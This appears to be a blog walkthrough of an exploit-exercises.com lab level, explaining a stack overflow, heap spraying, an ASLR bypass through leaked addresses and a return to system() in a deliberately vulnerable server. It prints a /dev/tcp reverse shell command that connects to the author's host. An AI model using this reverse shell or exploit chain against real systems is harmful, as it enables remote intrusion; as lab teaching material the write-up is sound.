exploit-exercises.com provides a variety of virtual machines, documentation and challenges that can be used to learn about a variety of computer security issues such as privilege escalation, vulnerability analysis, exploit development, debugging, reverse engineering, and general cyber security issues. The exercise talked about in this blog post can be found here:
I am writing this blog post because I saw no solution similar to mine over the internet. Hopefully exposing my method and techniques, I will be able to enrich others knowledge and methodology.
In this exercise we are facing a web server compiled with several protection mechanisms, also we are expecting the vulnerability to be stack based.
To bypass these protections mechanisms and obtain some kind of shell, we’ll have to:
- Find an information leak in order to bypass the different ASLR protections
- Obtain some write capabilities for something to execute, either a shellcode or a string
- Execution capabilities
The method I used to solve this exercise will cover the concept of heap spraying and stack overflowing both for controlling the
EIP and for changing only the stack variables which will change the behavior of the program for out benefit. Changing only the saved stack variables will provide the ability to read (almost) any address. With that in mind, let’s dive in.
The code begins with the server listening on port 20005, and an internal task creation mechanism – creating a
childtask() for new connection received. It is important to mention that unlike previous exercises, the code in the
main() function doesn’t
fork(), therefore if we crash the program it’s a “game over”, we won’t be able to communicate with the server anymore and we will have to restart the program. The side effect of restarting the program, is the randomization of the addresses will happen again, thus we have to find an information leak without crashing the program. An information leak is the idea of finding some kind of information disclosure that will help us bypass the
The real logic begins with function
childtask(), where you have 5 known commands you can send to the application: “addreg”, “senddb”, “checkname”, “quit” and “isup”.
The only functions i will use for the exploit are
Obtaining Read Capabilities
Let’s observe the function
And the called function as well
Under the function
get_and_hash(), it appears the author implemented his own kind of
strcpy(), which will stop copying either on a null termination, or when the string has the separator value inside of it, which is
0x40. It has no actual string length limitation, and this is where the magic begins.
We can essentially send a string of (almost) 512 bytes in the
childtask() function, this function will pass a duplicated string to
checkname(), and it will pass it forward to
get_and_hash() where the buffer overflow occurs. Let’s examine the
get_and_hash() prologue and epilogue to better understand the overflow benefits and possible effects.
Notice the registers
EBP. When we overflow the stack, we first fill the data saved for the buffer
char name; but after that saved buffer, there are also the three registers that pushed on the stack in the Prologue that we can overflow as well. They are restored in the Epilogue of the function with any new data I provide (After the overflow occurred). Let’s see if these saved values can benefit us somehow in the calling function
checkname(). Here is an assembly screenshot of how it looks like, with additional comments of mine:
Let’s see if the registers we can override
EBP have any meaning in this function.
It seems like
EDI is expected to have the string, and
ESI the file descriptor (FD). This is great, a pseudo call to the
fdprintf() function would look like that:
After a short dynamic examination, I noticed that the file descriptor always had the same value of
4 and regarding the string, if I can manage to provide any readable address, it will be printed. I can theoretically repeat this function for all of the memory, I will be able to find the address of
libc and then the address of
system() which will easily help me execute any command and a little spoiler: later on my reverse shell. Basically right now I almost have the ability to read any address, however providing an invalid address to the
fdprintf() function will cause the program to crash. I don’t know any valid existing address, so what should I do?
In order to obtain a valid address to read from, we will have to create it. I noticed the addresses are more or less the same every time I restarted the program:
The first byte of the lowest address loaded library is always around
0xB9000000, including the beginning of the heap, the heap also begins somewhere between the last loaded library and the stack. The maximum available address that anything can be at has to be lower than
0xC0000000, therefore, if I can allocate enough data on the heap, increasing its size, I can safely guess an address that will surely be readable. any address between 0xbd00000 to 0xbe000000 will surely be mine if I allocate & write enough data on the heap. So how can I do that?
Examine the call to the function
There is a call to
strdup() which duplicated a string on the memory:
The strdup() function returns a pointer to a new string which is a duplicate of the string s. Memory for the new string is obtained with malloc(3), and can be freed with free(3).
but there is no subsequent call to
free() which means the buffer is never freed from the heap, if we call the
strdup() plenty of times (more specifically around 0x20000 times) with a long string we can essentially predict an address on the heap which will contain our provided data.
Above you can see an example of the heap post spraying. Notice the new heap created and its size. The string I sprayed includes the file descriptor, which is always
4, and the string I want to execute for a reverse shell. It is very important to play with the spray for every different string length, because it has to be aligned perfectly for every
0x100 bytes, Which means that for every
0x______XY possible address, when X and Y are static, the same value will be set on that address (Thanks to the spray).
The next step is to use my read capabilities I explained earlier to read the buffer allocated on the heap, and walk backwards(!) until the buffer is no longer there, which means the point before the spray began. This is done quite easily with a guessed address for my expected string as well as providing an address for the FD. The iteration on the heap would be decreasing the address every run by
0x100, until we no longer see the expected buffer, this will be the
ground zero, where the spray began. At this point I have a pointer to the very first allocated string, relatively to that address i found a pointer for the
isup() function probably caused by the
taskcreate() internal mechanism which doesn’t properly free the addresses as well. After reading this address as well, it’s pretty much over and I am on the way to successfully bypassing the ASLR mechanism.
Here is a picture showing the end of the buffer I sprayed, as well as showing the address of the
isup() function, which always resides just next to my buffer.
At this point it becomes quite easy to find the
system() address. using the same technique to read the heap, with the
fdprintf() function we control, just provide the address of the
isup() pointer. From there I have an address of the main binary
level05, I can read any relative address, so a function pointer in the
GOT will just do, for example ‘write’ which is in the
libc library, and from there I can a relatively obtain the address for
system(). In short, it goes like that:
Heap -> isup (level05) -> write (level05) -> write (libc) -> system (libc)
Now when I have the system address, if I can spray a command that will give me a remote shell. I choose to spray the string
/bin/sh > /dev/tcp/192.168.164.1/1337 0>&1 2>&1 Where my host IP is 192.168.164.1, and the port I will listen on is 1337. Now I already know how to spray, and I now know I can spray a nice command for a reverse shell. To execute
system() with, I just overflow the
checkname() function further, overriding
EBP which we no longer care about, and providing a new address to return to, which will be
system(), don’t forget to provide the argument we sprayed on the heap as well to obtain the reverse shell.
The code exploiting the level (Written in python):
use the script, one with an argument ‘spray’ and one with an argument ‘run’. The script include things which i didn’t go through on this blog, such as bad addresses that you cant provide because of string limitation, and possible weird behavior of the heap. The code explains them and handles these situations. It is also possible to make the exploit cleaner, changing the return address of
system() to some clear exit that will not crash the program.
The exploit could easily be closed, if the program would actually be compiled with a stack cookie protection, canceling the possibility to brute force it without crashing the program. Or if the memory handling would be handled properly with calls to free, including the internal implementation of the tasks which also gave me an information disclosure on the heap.